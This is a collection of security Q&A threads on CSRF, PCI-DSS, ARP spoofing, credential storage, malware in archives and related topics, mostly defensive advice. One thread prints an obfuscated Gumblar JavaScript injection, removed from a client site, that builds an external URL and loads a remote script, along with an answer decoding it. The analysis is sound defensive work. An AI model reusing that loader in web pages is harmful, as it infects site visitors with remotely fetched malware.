To use CORS Anywhere, you send a request to CORS Anywhere, and it will forward your request to the target site. If you, as the attacker, cannot see the cookies of the victim page, you cannot send those cookies to a service like CORS Anywhere. As a result, CORS Anywhere cannot send the cookies to the victim page, and so the victim page wil respond as if you are signed out. The attacks you describe cannot be performed while signed out.

  tried changing Content-Type:application/json to Content-Type:text/plain but it not worked. The response come as Content-Type:text/plain not allowed.

This can maybe be bypassed, but not using CORS Anywhere. :)


Infrastructure for incident analysis I have a security-critical online service. (API playground available here.) In case of a security incident I want proper infrastructure to analyse what went wrong.

Should I make rolling captures of network traffic (e.g. using tcpdump) to allow for replays? What are common practices to prepare post morten incident analysis?

I think that you have to use a SIEM (Security Information and Event Management) software. This kind of software is great for analysing security incidents (but they require plenty of your time).

There are commercial and noncommercial SIEMs. HP Arcsight and Splunk (http://www.splunk.com/en_us/solutions/solution-areas/security-and-fraud.html) are really great.


Do you have to ban cellphones and paper to be PCI compliant? Today I heard of a call centre that you are not allowed to bring cellphones into or take paper out of. This is allegedly to be PCI complaint. Is this true? What is the reasoning? This seems like overkill. They said it's to protect credit card information but usually customer service reps (e.g. ones at Starbucks) don't have to do this.

Short version:

The PCI-DSS does not explicitly call out the steps you describe.  However, those are common sense steps that are reasonably encompassed by several PCI-DSS requirements.  They are not at all uncommon and I have seen them as requirements to non-PCI-DSS contractual agreements by third parties in a card processing environment.

Long version:

Technically, the PCI-DSS only prescribes security for "system components," not people:

  The PCI DSS security requirements apply to all system components
  included in or connected to the cardholder data environment.

That said, an awful lot of the DSS touches on policies which impact things other than system components.  The following requirements could be reasonably interpreted as being addressed by the two measures (prohibition of uncontrolled data/camera devices in the CDE, control over use of paper in the CDE) you describe:

  7.3 Ensure that security policies and operational procedures for restricting access to cardholder data are documented, in use, and
  known to all affected parties.

While 7.3 doesn't say how restrictions should be implemented, it says you should have restrictions around access as part of your policy.  Control of phone/camera and paper in the CDE is a reasonable restriction.

  9.5 Physically secure all media: Verify that procedures for protecting cardholder data include controls for physically securing all media
  (including but not limited to computers, removable electronic media,
  paper receipts, paper reports, and faxes).

Keeping paper from leaving the CDE is a form of securing paper media, and keeping cell phones/cameras from entering is control of 'removable electronic media'.

  12.3 Develop usage policies for critical technologies and define proper use of these technologies. (... tablets, removable electronic
  media, e-mail usage and Internet usage.)

You'll also note that call centers often disallow access to Internet and email, for the same reason - they're methods that employees could use to get card numbers out of the environment.

These requirements are not 'overkill', they're pretty standard.  They can cause "real" problems (e.g., not just inconveniencing humans) - for example, how do you email password reset links to call center employees who don't have access to email?  How do you verify identity by callback or set up multifactor authentication without soft tokens if there are no personal smartphones?  But they do provide a real security value.

Which is why you will see these requirements as part of PCI-DSS driven policy and as part of contractual agreements.


Vulnerabilities for multiple kernel versions that are installed on a given server As per Exclude or display vulnerabilities for non-running Linux kernels :

It is possible to have multiple kernels detected on a single Linux
host and Qualys will report all vulnerabilities found on all Linux
kernels.

Linux distributions support the parallel installation of multiple kernel versions. When installing a new kernel, a boot entry and an initrd are automatically created, so no further manual configuration is needed. Do I really need then to be concerned about vulnerabilities discovered for older installed kernels (which are in fact not used to boot the system)? Is there any risk involved? I mean, sure one could probably argue that once someone gets access to the server he/she could boot into an older (more vulnerable if you will) installed kernel version but that would require root privileges in the first place.

Do I really need then to be concerned about vulnerabilities discovered
for older installed kernels (which are in fact not used to boot the
system)?

A non-running kernel with vulnerabilities does not pose a threat to your system; the kernel must be booted for those vulnerabilities to become an issue.  So if you truly never boot the older kernels, you are not exposed to the vulnerabilities.  That being said, ...

Is there any risk involved?

From Qualys' point of view, they cannot know if the machine is rebooted into a vulnerable kernel at times, they simply know that it is possible.  And so they assume the worst and include those vulnerabilities.
The most secure option would be to remove the old, vulnerable kernels.


Will the recently found OpenSSL vulnerability Heartbleed affect my public site for which I obtained an SSL certificate from a CA? I had generated the CSR with OpenSSL. Do I need to regenerate a new CSR with no vulnerability due to OpenSSL in order to obtain a new certificate from a CA?

There is no problem with CSR's generated with a vulnerable version of OpenSSL.

This doesn't mean your keys were not compromised via an actively running server, but it sounds like you understand that.


I've discovered a vulnerability which can reveal personal information for multiple websites. How to go about it? It's not so much a technical vulnerability, but rather a sloppy security practice by a web design consultancy. They use a CMS which they've augmented with an admin login. As it happens, the admin users are stored in a table and the password field is plaintext.

Having seen which username/password they used for my client's site, I am 99% sure that it's the same password on other sites they've designed. A dozen websites in their portfolio have an identical admin login form, but obviously I cannot legally test whether the site is vulnerable, because the only way to do that would be to actually attempt to log in.

Would it be a reasonable course of action to contact these sites individually, tell them about my suspicion and suggest how they can fix it?

More importantly, am I putting myself at risk by doing so? The smarter owners will figure out that if they are vulnerable, so are the other sites in the portfolio, and could do nasty things, at the same time as I tell those sites that I happen to know how to access their admin areas. Sounds like fingers could be pointed at me. Any suggestions?

Unless they have some form of bug bounty type program, you are putting yourself at risk by disclosing to organizations that haven’t hired you. The organization can turn around and say “You’re hacking us, this is proof. We’re suing you.” I have had to fight senior leadership at past jobs to not take that course of action. Or similar minded BS because they see it more as an attack against them. They think it’s more secure to attack you then disclose that information.

If these are smaller organizations, there is less of a risk of this. Generally, your information will go to the people that will care and want to fix it first. They will generally (not always) be thankful for the feedback and want to back it better. At larger organizations it will go to legal first and they decide how to respond before it would go to the people that would potentially fix it.

If you choose to disclose it, take every possible precaution to ensure they can’t track it back to you. Personally, I wouldn’t disclose this unless they have a bug bounty type program. It’s not worth risking your career for. That may seem contrary to what we should do as security professionals. Regardless of whether you would win or lose in court, your reputation will take a hit and employers, as well as your current employer, may think twice. The organizations may go after your current employer as well. How would they respond to that?


How to remove or at least change password from browser memory dump file I am working with JSP.

So when a user submits a form, all the form fields say username and password gets stored in browser memory dump file in clear text.

I even tried with JSP hidden fields, but even that value seems to get stored in clear text.

But if I take dump of gmail login page after a login happens in chrome, only the username gets stored not the password.
Though Firefox and IE store both.

Some banking sites, actually change the password altogether say dummy@1234....

May I know how to achieve the same?

Can I change or better remove the password from memory dump.

I tried with individual keystrokes and replace the chars with something else, but in that case I need to still send the actual password to the serever for the authentication purpose.

Please give me some light, in JSP or in JavaScript?

Your goal is effectively to control browser behaviour and prevent it from storing the password which was entered and sent by the user anywhere (neither cache nor password-storage). As this is client-side software, you generally can't. But we can work out a solution which will achieve what you want in most cases. Please do note that you will never have full control over what the browser stores in RAM, but this is not really a problem. An attacker capable of compromising RAM is also capable of logging keystrokes.

Prevent a submit event from happening

Most browsers notice when you submit a form, because you click a special button (type="submit"). This will probably promt the user "Do you want to store the password for this site?". To prevent this, you can implement this on your own. Don't set type="submit" but create a button <button onclick="performLogin()" that, if clicked, grabs the values of your input fields and wraps them in an HTTP-POST request to your site. If the login is successful, return the session key and write it to a cookie or whatever suits your requirements. Using this approach, you never trigger a real "submit event", but only a click event which won't promt the user for saving the password.

The cache question is trickier and I'm afraid, I don't see a consistent, reliable solution for this one as a browser won't let a random website dictate how it organizes its RAM. However, I can't see a huge drawback when ignoring it. As mentioned above, malicious code capable of reading arbitrary RAM are probably (not always) able to log keystrokes, compromising the password, which is what you are trying to avoid.

P.S.: Always be careful when implementing security measures or authentication mechanis on your own. As goteguru correctly said, "implementing your own security solution may have pitfalls". I'd increase this to "absolutely has pitfalls capable of screwing you over in various ways you never expected, if not handled properly".


How can I prevent my database from being compromised if my CakePHP app is compromised? I have an app server hosting a CakePHP app and a database server hosting the databases. The servers are physically separate. The databases contain encrypted sensitive information.  The encryption keys for the encrypted data are also stored in the database (which are themselves encrypted).  The keys are decrypted by the app for use in decrypting the database information.
I am under the impression that if someone were to compromise the database server and steal the databases they would not be able to decrypt the data since the app, (which is on a different server), has the encryption key.  The problem arrises if someone is able to compromise the app server.  If the app server becomes compromised, the database connection information is stored directly in the CakePHP app as follows:

public $default = array(
  'datasource' => 'Database/Mysql',
  'persistent' => false,
  'host' => 'xxx.xxx.xxx.xxx',
  'login' => 'login',
  'password' => 'password',
  'database' => 'database',
  'prefix' => '',
  //'encoding' => 'utf8',

);

Is there a way to store this connection information in a more secure fashion or is this just a matter of knowing that if the app is compromised, the database is also compromised?  Are there things I can do to mitigate the chances of this type of compromise that I may not have thought of?  Thank you in advance!

If the application is compromised, the database is compromised even if you can conceal the credentials.  The DB credentials should only be valid from the application server's IP address and if they have compromised the application server that much, they can simply alter the application code to do whatever they want if you did somehow manage to protect the credentials.

The key thing is to make sure that the credentials only work from the server and that the user that the application uses can only impact the application itself in the ways the application needs to interact with the DB.

Really, it is very hard to conceal the credentials any better anyway.  You can use something like a TPM, but then the application needs a way to get access to the TPM.  Unless you don't give the application authorization without the user providing credentials for the DB itself, then you have to store them.

Depending on how the sensitive data is accessed, you may also be able to use user based encryption.  With user based encryption, you use the user's password to derive a key which is used to encrypt a secure key.  That secure key is then used to unlock a keyring which contains keys for accessing any records the user has access to.  Since the user's keyring is only accessible when the user is logged in, it reduces the threat of an offline compromise where both the application server and DB server are compromised.

This does put some limits on what can be done while the user isn't logged in, though you can have a sproc that has access to do some decryption operations using a master key ring that only is available in the DB server, but you'd have to be very careful to lock that functionality down tight to prevent it being abused.  (Rate limits on custom sprocs for each type of query you need against the secured data for example.)


Attack vector, attack surface, vulnerability, exploit: Where is the difference? I have difficulties to pinpoint the difference between attack vector / attack surface / vulnerability and exploit.

I think the difference between a vulnerability and an exploit is the following:
A vulnerability is something that could get used to do harm (e.g. a buffer overflow), but does not necessarily mean that anything can be done. An exploit makes use of a vulnerability in a "productive" way (e.g. reading the following bytes in memory after triggering an error message).

According to Wikipedia (vulnerability)

  To exploit a vulnerability, an attacker must have at least one applicable tool or technique that can connect to a system weakness. In this frame, vulnerability is also known as the attack surface.

So attack surface and vulnerability seem to be synonyms in the context of IT security (?)

Could anybody please define the words or give examples for the difference between them?

All 4 terms are very different:

Describes the Attack:

Attack Vector: the 'route' by which an attack was carried out. SQLi is typically carried out using a browser client to the web application. The web application is the attack vector (possibly also the Internet, the client application, etc.; it depends on your focus).
Exploit: the method of taking advantage of a vulnerability. The code used to send SQL commands to a web application in order to take advantage of the unsanitized user inputs is an 'exploit'.

Describes the Target:

Attack Surface: describes how exposed one is to attacks. Without a firewall to limit how many ports are blocked, then your 'attack surface' is all the ports. Blocking all ports but port 80 reduces your 'attack surface' to a single port.
Vulnerability: a weakness that exposes risk. Unsantitized user inputs can pose a 'vulnerability' by a SQLi method.

We can also look at this from the perspective of a user as the target. An attacker sends an infected PDF as an email attachment to a user. The user opens the PDF, gets infected, and malware is installed. The 'attack vector' was email, the 'exploit' was the code in the PDF, the 'vulnerability' is the weakness in the PDF viewer that allowed for code execution, the 'attack surface' is the user and email system.


POP3/IMAP Stronger Authentication We recently deployed a two-factor-authentication solution in order to strength logon to our web applications (one of them is web based mail, Microsoft outlook web access)
Most of the users who have been assigned new tokens are also pop3/imap users from long while ago.
We then noticed that while web application are well protected by 2FA , mail applications is an easy way to bypass any stronger authentication method because POP3/IMAP don't support 2FA.

My question is how can i provide a stronger authentication method with pop3/imap services that doesn't support 2FA?
Any advice in order to address this issue?

IMAPS (aka "IMAP within SSL") can be configured with a requirement for a client certificate (that's bi-authenticated SSL). You could setup the IMAPS server that way, and request certificates issued by a custom CA and distributed in smartcards (or smartcard-equivalent USB tokens, which is easier since these do not need specific readers). Finally, the smartcards could require a PIN code, which then counts as 2FA (one factor is possession of the smartcard, second factor is knowledge of the PIN).

Unfortunately, not all IMAPS clients support client certificates (e.g., on an iPhone, it apparently requires jailbreaking and some extra effort)(good luck on plugging a smartcard in an iPhone anyway...). Also, setting up a PKI and enrolling smartcards, that tends to be, let's say, a bit expensive.


Correct procedure for encrypting data with public key and password-protecting the private key I see myself in the need to use PKI in a program on Linux.

The following code summarizes the approach I would take.

Generate a key pair, store it on disk. The private key is encrypted with AES for encryption at rest (the unencrypted private key is also stored for testing purposes)

Does this reflect the current standards of the security community?

import os
import json
import base64
import getpass
from Cryptodome.Cipher import AES
from Cryptodome.PublicKey import RSA

print '################################################'

if True:
  PASSWORD = '01234567'[:32].ljust(32)
else:
  print 'Enter password (max 32 chars)'
  PASSWORD = getpass.getpass()[:32].ljust(32)

print '################################################'

GENERATE = False
if not os.path.isfile('private-key-2048.pem.encrypted'):
  GENERATE = True
  print 'GENERATING KEY PAIR'

print '################################################'
print '   CREATE / LOAD THE PRIVATE KEY'
print '################################################'

if GENERATE:

  # store the private key
  private_key = RSA.generate(2048)

  with open('private-key-2048.pem','wb') as f:
    f.write(private_key.exportKey('PEM'))

  with open('private-key-2048.pem.encrypted','wb') as f:
    cipher = AES.new(PASSWORD, AES.MODE_EAX)
    ciphertext, tag = cipher.encrypt_and_digest(private_key.exportKey('PEM'))
    print repr(tag)
    f.write(json.dumps({
        'ciphertext': base64.b64encode(ciphertext),
        'nonce': base64.b64encode(cipher.nonce),
        'tag': base64.b64encode(tag)
      }, indent=1))

else:

  # already generated, read the private key
  private_key = RSA.importKey(open('private-key-2048.pem','rb').read())
  with open('private-key-2048.pem.encrypted','rb') as f:
    data = json.loads(f.read())
    cipher = AES.new(PASSWORD, AES.MODE_EAX, base64.b64decode(data['nonce']))
    ciphertext = cipher.decrypt(base64.b64decode(data['ciphertext']))
    try:
      cipher.verify(base64.b64decode(data['tag']))
    except ValueError:
      print 'password incorrect or message corrupted'
  private_key = RSA.importKey(ciphertext)

print private_key.exportKey('PEM')

print '################################################'
print '   SAVE / LOAD THE PUBLIC KEY'
print '################################################'

if GENERATE:

  # store the public key
  public_key = private_key.publickey()
  with open('public-key-2048.pem','wb') as f:
    f.write(public_key.exportKey('PEM'))

else:

  # already generated, read the public key
  public_key = RSA.importKey(open('public-key-2048.pem','rb').read())

print public_key.exportKey('PEM')

print '################################################'
print '   ENCRYPT WITH PUBLIC KEY'
print '################################################'

from Cryptodome.Cipher import PKCS1_OAEP
encryptor = PKCS1_OAEP.new(public_key)
encrypted = encryptor.encrypt('this is a test')
print repr(encrypted)

print '################################################'
print '   DECRYPT WITH PRIVATE KEY'
print '################################################'

decryptor = PKCS1_OAEP.new(private_key)
decrypted = decryptor.decrypt(encrypted)
print decrypted

print '################################################'

Whats the target OS?

Just been reading on Windows DPAPI which is used for this process and the way its done is based off the master key and the current users passphrase to generate key material. It then uses a key stretching function to produce the key which yours is missing instead you add the passphrase direct into the AES and limit it to 32 characters.

Or if your target is windows just use the DPAPI direct to protect your keys.


SameSite cookie attribute and Synchronizer Token Pattern Recently most browser have added support to the SameSite cookie attribute to prevent CSRF attacks: https://www.owasp.org/index.php/SameSite

Question if it is supported should we implement Synchronizer Token Pattern to prevent CSRF attacks?
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet#Synchronizer_Token_Pattern

Will SameSite prevent at least same CSRF attacks as Synchronizer Token Pattern?

I do know that SameSite options are strict and lax and probably we will use the lax value.

Added

Is the CSRF attack possible if we use only SameSite setting (without Synchronizer Token Pattern) in a browser that supports the setting (https://caniuse.com/#search=Samesite)?

What is a possible attack scenario?

(the question is not related to the XSS attack, only to the CSRF attack)

if it is supported should we implement Synchronizer Token Pattern to prevent CSRF attacks?

No! However, you absolutely shouldn't be using GET like request methods for state changing actions.

  Will SameSite prevent at least same CSRF attacks as Synchronizer Token Pattern?

Yes! Since it omits sending cookies (flagged SameSite) to requests originating from 3rd domain, Cross-Site requests cannot make authenticated requests. This, thus, prevents CSRF. However, SameSite cookies don't block all kinds of GET requests. Link prerender requests, for example, are some exceptions and probably will not be added to the list. Therefore, it's very crucial not to use GET requests for state changing actions.

  Is the CSRF attack possible if we use only SameSite setting (without Synchronizer Token Pattern) in a browser that supports the setting

Short answer: No
It's possible to overwrite cookies. This, however, doesn't make it vulnerable to CSRF. To overwrite a cookie, an attacker must supply a value. In this case, if s/he already knows the cookie value, s/he already has access to victim's account.
However, On-Site Request Forgery (as mentioned in comment) is always an exception.

  What is a possible attack scenario?

There aren't any unless combined with ither vulnerabilities.

Edit:
Plugin initiated requests (Flash, PDF, etc.) might not act as you expect. They may or may not SameSite cookies. Therefore, atm, use tokens along with SameSite cookies.


Can I have a certificate on one server and the key on another? Let's say I have a Server A with a valid certificate and a Server B with the key for the certificate.

Client === Nginx Proxy with valid cert === Apache with key

I don't want Ngnix to decrypt all traffic like a MITM. Nginx should pass all encrypted traffic to Apache without leaking the IP-Address of Apache.

If that is possible how do I now set up a "reverse Proxy" with nginx and apache as the upstream server?

I don't want Ngnix to decrypt all traffic like a MITM. Nginx should pass all encrypted traffic to Apache without leaking the IP-Address of Apache.

In this case you don't want to have a (reverse) proxy for HTTP but you just want to pass the data stream without any changes at the TCP level to the real host. nginx can do this with the stream backend.

Note that this does not make nginx serve the certificate and Apache the key. Instead Apache has both the certificate and key and nginx none of these. Since the certificate is not bound to an IP address there is no need for nginx to provide the certificate itself, it only needs to pass through the connection to Apache.


Why does Windows 7 require a password hint during setup? Correct me if I am wrong, but I think Windows 7 is the only operating system out there that requires a hint for the first user created on the system (have not had a chance to check out Windows 8 Beta).  Why does Microsoft insist on requiring a hint for what could be seen as the root user?  Of course you could always put something bogus in the field, but why require a hint?

Because these devices are for mass consumption. Security must fight with dealing with a spectrum of users and usability. It is possible that users will only ever set up the first user. Let's face it, a good hint can be useful if created properly.  However, bad passwords are more common than bad hints.


What is it called when someone glides through a building's external door behind you? One form of social engineering is the practice of running up to a building's external door just as an employee is entering. The employee often holds the door open for the intruder, bypassing security systems (RFID systems, for example).

Is there a name for this specific practice?

tailgating or piggybacking.  See https://en.wikipedia.org/wiki/Piggybacking_(security)


Any problems with scrypt yet? In the question Do any security experts recommend bcrypt for password storage? Thomas Pornin recommends the hashing function scrypt but saying it is "too new to be recommended on a general basis".

Scrypt is from 2009 and I would like to know, if any problems have been found with this function, yet?

Also I would like to know if it's ready for production but I guess that would be opinion based and should only be a side note.

After 5 month without answer, only comments, I like to sum up:

From a discussion in sci.crypt it seems that scrypt is demonstrably secure.
Most people on SO trusts scrypt.
I have seen no one claimed to have a problem with the algorithm itself.

Regardless there might be issues with the implementation. A straight forward implementation of scrypt is potentially vulnerable to timing attacks but that should not be a problem.


Question regarding arp spoofing There is something I do not understand about arp spoofing, and no article I read so far seems to explain it:
Assume the following setting:
We have three hosts A,B,C with ip addresses 192.168.178.{10,11,12}, all hosts are connected to each other by a single switch. Now host A wants to communicate with hosts B and hence sends out an arp request to get the MAC address of 192.168.178.11. Host C wants to intercept the connection and so he sends out an arp package relating 192.168.178.11 with his MAC address.
I guess C strictly has to wait after B responded, because if the package of C would arrive first then B's response would still reach A after that and then the arp cache of A would replace the MAC address send by C with the MAC address send by B because the latter is newer (maybe I already got something wrong here?).
But now to the actual problem:
Even if C sends out his arp package after B, then this package would still be addressed to a broadcast MAC address, and so it should also reach B who now reads an arp package from which he can conclude that either

his ip address is not unique or
someone is trying to arp spoof him

either way the attack would be noticed.
So my question is: How can an arp spoofing be effective if the fact that arp packages are send by broadcast always implies that the victim can be aware of the attack?
Possible explanations I have thought of so far:

arp packages can be addresses to a single MAC address, so that be could make sure that only A gets the faked package and not B (but wouldn't the header reveal to B that this certain arp package was not send to an broadcast address and hence should be treated with suspicion)
the OS could notice all of that, it just is not programmed to do so

I guess C strictly has to wait after B responded, because if the package of C would arrive first then B's response would still reach A after that

If C is spamming ARP requests or responses constantly, it is possible A will already have C's entry cached and will not even need to reach out to B. Even if it does get an entry from B, it will likely be overwritten fairly quickly.

the OS could notice all of that, it just is not programmed to do so

There is such a thing as "gratituitous ARP", where the attacking host can send ARP responses without being prompted, and other hosts will opportunistically cache this information, likely for performance reasons. I don't know of any kernel implementation that identifies any ARPs as "suspicious", since it's hard for the kernel to know the state of other devices on the network that are trying to ARP. It comes down to trying to separate normal from malicious behavior; did B's IP address legitimately change, or is someone spoofing it? There's not really a good way to tell.
There are some tools and methods to detect or prevent ARP spoofing. I recall there's an open source project "antidote" that sniffs ARP packets, and logs an alert if it thinks something malicious is happening. Enterprise-grade switches may also have mitigations, performing tracking of which port a host is on, and blocking attempts to impersonate that host from another port.


Scan password protected email attachments for malware We have an email policy that prevents email from going through if it has password protected archive files attached. This is to protect users from viruses and trojans because the contents of the archive can't be scanned. However, this gets rather inconvenient when clients need to send us confidential data as we have to instruct them to use other methods of transfer.

So I was wondering if it's possible to set up some software that attempts to bruteforce these files using content from the body of the email? I've understood that malware using password protected files to sneak through scanning needs to include a password so the victim can open the archive and unwittingly activate the malware. If the archive doesn't open within a reasonable time the file should be deemed relatively safe if it comes from a source trusted by the recipient.

If no such solution exists or can't be created, suggestions for other reasonable solutions are welcomed as well.

There are many archive formats, which have many "password protection" features. It so happens that Zip archives traditionally used a custom stream cipher which has been broken. But though the break can be implemented in practice, and requires relatively few known plaintext bytes (13 to 40), its cost is still a bit high (roughly 238 elementary steps of the stream cipher). It is a nice implementation exercise for students, and an effective warning against homemade schemes, but doing it automatically in an antivirus would not be very practical.

Moreover, recent Zip implementations have switched to AES-based encryption, which is not broken.

To break through a password-protected archive, you have to "guess the password". Now let's see how this would work with malware. Such malware emails itself, automatically, to millions of people; in order to evade analysis, it encrypts itself as a password-protected archive, but, of course, this does any good (to the malware) only if the victim can still open the archive. So the victim must "guess" the password. Therefore, what malware does is that it includes the password as "text" in the email. The human victim sees the password, and uses it to open the archive.

Malware has no trouble whatsoever coming up with passwords which are random enough to defeat brute force. This prevents your "breaking attempt" strategy from being effective; in fact, if you can find the password from the antivirus then the archive is most probably not from a malware, but from an honest human (who, like many honest people, seems incapable of using strong passwords).

The strategy for archive scanning would imply "understanding" the email contents, like a human user, so as to guess the password in the same way as the victim. This is hard, because the malware just has to encode the password so that the victim "sees" it, so it can be a picture, an HTML table with pixel-sized cells (the background color of each cell is then modified to build a visible picture), an elaborate charade ("password is the capital city of Germany"),... (I have seen all of these employed). Ironically, this places the antivirus in an attack position, as if it was trying to break a CAPTCHA.

The one-line summary of all this is: it won't work.

A purely automatic antivirus software will not be able to "break through" password-protected archives which are used as malware vector. The antivirus may detect such malware through some heuristics; e.g. the presence of a password-protected archive could increase a "spam score" which, combined with other bad points from other email features, may result in a "this is spam/malware" conclusion. However, this is back to the usual trade-off: some spam/malware will get through, and some non-malware will be blocked.

Alternate strategies:

Block password-protected archives. Arrange for another transfer system for customers, e.g. some HTTPS-based server where files can be uploaded.
Delay emails with password protection until a human operator has looked at them and declared them "good" or "bad". Interns are cheap. But the extra latency can be an hindrance to business, human inspectors can fail, and having poorly paid underlings inspect emails may raise additional security issues (now your competitors know who to bribe, and that won't be expensive).
Implement the antivirus right on the users' desktop systems, to be run when they actually open the archive. At that point, they have typed the password, so the clear contents become available, and the antivirus may act. Of course, this has drawbacks: maintaining an efficient antivirus on all desktop systems is expensive, introduces interoperability issues, and is not feasible in some cases (e.g. in a BYOD world).
Request that customers protect their archives with PGP encryption, using a specific destination address and public key. The corresponding private key will be owned by the antivirus, who will then be able to scan the contents, and then forward them (internally) to the actual user within the organization (this second step needs not use encryption: the email is already on your network).

In practice you will want to use the first system, not because of all this malware-scanning problematic, but for a much more mundane reason: big emails don't travel well. A lot of email servers will drop emails which are bigger than some limit, typically around 5 megabytes. 5 MB used to be huge, but not anymore. A PowerPoint presentation with some photos will easily exceed that size. Therefore, there is pressure for using a non-email-based transfer mechanism. A Web-based upload system, with HTTPS protection, is not hard to put in place; some people use Dropbox as an extension of that principle.


Is it safe to use a proxy server within psiphon? I have to use VPN services to access many websites, and among them, I use Psiphon the most. However, now it is hard to even access Psiphon. So I have to use a proxy server to connect to Psiphon. The question is, is it as safe as if I was using Psiphon without a proxy server? Is data available to those who access to the proxy server?

As I understand, Psiphon uses an encrypted tunnel (VPN like) for communication. That means if you first send data to proxy that then sends it to Psiphon, all the data going through the proxy is encrypted. The proxy owner can see when and how much you use it, but he does not see any more then your ISP already would. He can't see any content specifically.


Virus in browser - affects chrome most of all I seem to have a virus I cannot trace on my computer, it basically rewrites pages filled with ads in the form of videos. It seems to be using AJAX here is a screenshot attached. I traced a few files and have them posted here how can I remove this virus? Where is it located on my computer?

It is writing your page too

I have some of their source I traced links will be in the comments cause I am still finding and pasting them.

At first I thought that it was writing things by latching on to source code but it is ajax from what I saw on one of their files - Also the frame src leads to a website called cliphub.tv

There are several ways such an ad-injecting malware might work and it does not even need to be installed on your system. Common ways are:

Browser extension: there were several prominent cases where common browser extension were sold and went malicious. These probably can do anything, including manipulating data accessed by https.
Local proxies. In this case there is a local proxy which rewrites the traffic. This is often coupled with injecting a new CA into the trust store so that https traffic can be manipulated too. Check your proxy settings. Note that it is not enough to just reset the proxy settings because usually the malware will change these again.
Hijacked router. In this case all devices in the network are affected and https traffic is not modified (or would cause browser warnings).

But it is not clear what exactly is the reason in your case and how it can be resolved.


Malicious JavaScript -- Troj/JSRedir -- Gumblar I have a client with a website receiving AV warnings from Microsoft Security Essentials. A further investigation revealed that the site is blacklisted by Yandex.com, due to a report that the site contains malicious javascript. Specifically: Troj/JSRedir-HP (Gumblar)

I have removed this code from his site as it was located on the page which was receiving the warnings. At this point, we don't know if this was an external injection, or perhaps legitimate code that his web developer may have inserted.

Any ideas on what this might be doing?

<script type="text/javascript" language="javascript">
document.write('<' + 'script type="text/javascript" language="javascript" id="aoc262540n"></' + 'script>');
var j = document.getElementById("aoc262540n");
var s = document.location.host;
var s1 = "";
var qcl2q = 10;
for (var i = 0; i < s.length; i++) {
    var r8j8tnwtk76gj = s.charCodeAt(i) + qcl2q;
    r8j8tnwtk76gj = 65 + (r8j8tnwtk76gj % 57);
    s1 += String.fromCharCode(r8j8tnwtk76gj);
    qcl2q = s.charCodeAt(i);
}
s1 = s1.replace(/[^a-zA-Z0-9]/g, "");
if (document.cookie.indexOf("google_api=1;") == -1) {
    j.src = "\x68\x74t\x70\x3a\x2f\x2f" + s1 + ".\x70\x65\x67\x75\x61r\x64\x73.cc\x2f\x38\x39d\x38\x31\x6207iq\x2f\x67\x65\x74.\x6a\x73";
}
delete s;
delete s1;
</script>

j.src = "\x68\x74t\x70\x3a\x2f\x2f" + s1 + ".\x70\x65\x67\x75\x61r\x64\x73.cc\x2f\x38\x39d\x38\x31\x6207iq\x2f\x67\x65\x74.\x6a\x73";

The line above is trying to create a URL.

For http://security.stackexchange.com/ it creates

http://LnnDqsJvpDkZdfsqaekbbhr.peguards.cc/89d81b07iq/get.js

It then writes this URL to the website to redirect the users to the URL if the user clicks on it. The website seems like a malware website.


Is it secure to have two password managers? For various reasons I use both Keepass 2 and Lastpass. They have 90% the same password database. Is it secure to be using and maintaining both of them? Is it secure if they both use the same password (or a very similar password)?

By using two password managers containing identical credentials, you're effectively increasing the risk that the credentials get stolen. This is because there are now additional points of entry. The security level of all password managers combined is no more than that provided by the weakest implementation.

Thus, the recommendation is to use a single manager, which is adequately secured (a quality cipher with a strong encryption key).

Of course, you can use as many password managers as you like, as long as they don't contain identical entries.

See also this answer, which is about multiple sign-in methods, but has similar reasoning.


Does hanging up on a UK landline call not terminate the connection? AgeUK (and others) warn about making phone calls directly after receiving a scam call and advise you to "wait for the line to clear":

  Use a different phone if you can, or wait 5 to 10 minutes after the cold call if using the same phone - just in case they waited on the line.

How does this work? Why can't the telephone network fix this?

Does the scammer require specialized equipment or does this work from any landline phone?

This is because of Called Subscriber Held (CSH). This is not specific to telephony in the UK but rather a line state applicable on PSTNs caused by the person who made the call not hanging up.

The person from which the call originates must hang up for the call to disconnect as it is the person from which the call originates that is paying for the bill. The person receiving the call may hang up, but this will not disconnect the call unless the originating caller also hangs up. Usually once a CSH condition is detected, a timer will start which will clear the call after a specified period of time (for example 3 minutes).

Back in ye olden days when people had phone handsets connected to base stations with a wire(!) this feature meant they could put the phone down and move to another room without it dropping the call. :)

Using the recall (R) button on most phones will put any current call into an on hold state and give you a dial tone.


Find algorithm from Digest and Plaintext I want to edit a connection string in a config file containing what seems to be a hashed password.

I know the followings:

-oldPwd in current configured file
-oldHash in current configured file
-newPwd

I want to generate hash(newPwd), but I need to define the used hash.
How can I do it?

oldHash = i7DFG05HX+G/VCbVTxBY1w==

All my thinking is based on the fact that this is base64 of the hashed password... so a 128 bit binary, if I'm right.

All my thinking is based on the fact that this is base64 of the hashed password... so a 128 bit binary, if I'm right.

Yes, it's entirely plausible that you're dealing with a base64-encoded 128-bit hash. But you'd still have to guess which hashing function with 128 bits digest length was used - there is no shortcut for that.

E.g., the length would match MD5. In that case you could verify it with your known password like so:

$ echo "password" | openssl md5 -binary | base64
KGdV+tBIacpSMyCszg3GpA==

The output string would have to match the hash in your config file.

Wikipedia has a list of cryptographic hash functions with their corresponding digest lengths. You could check all 128-bit entries via trial and error. But the smarter approach would of course be looking into the source code of the application you're dealing with, if that's possible.


Is this method of 32 char hash generation secure enough for online-based attacks? A fellow developer and I have been having a discussion about how vulnerable a few different methods of developing a hash are, and I've come here to see if smarter people than I (us?) can shed some light.
In PHP, I feel the below is secure ENOUGH to generate as 32 character value that could not be reasonably broken via online attack. There are some other mitigating circumstances (such as in our specific case it would also require the attacker to already have some compromised credentials), but I'd like to just look at the "attackability" of the hash.
str_shuffle(MD5(microtime()))

The suggested more secure way of generating a 32 character hash is:
bin2hex(random_bytes(16))

I acknowledge the first hash generation method is not ABSOLUTELY SECURE, but for an online attack I think being able to guess the microtime (or try a low number of guesses), and know the MD5 was shuffled and/or find a vulnerability in MT which str_shuffle is based on is so low as to make it practically secure.
But I would love to hear why I'm a fool. Seriously.
EDIT --- This is being used as a password reset token, and does not have an expiry (although it is cleared once used, and is only set when requested).

Microtime() is an incremental value, not a source of random values (quite the opposite). Using this as a source of randomness causes the output to be... More predictable. It drastically reduces the key space of your hash method to a range that can be guessed reasonably well.
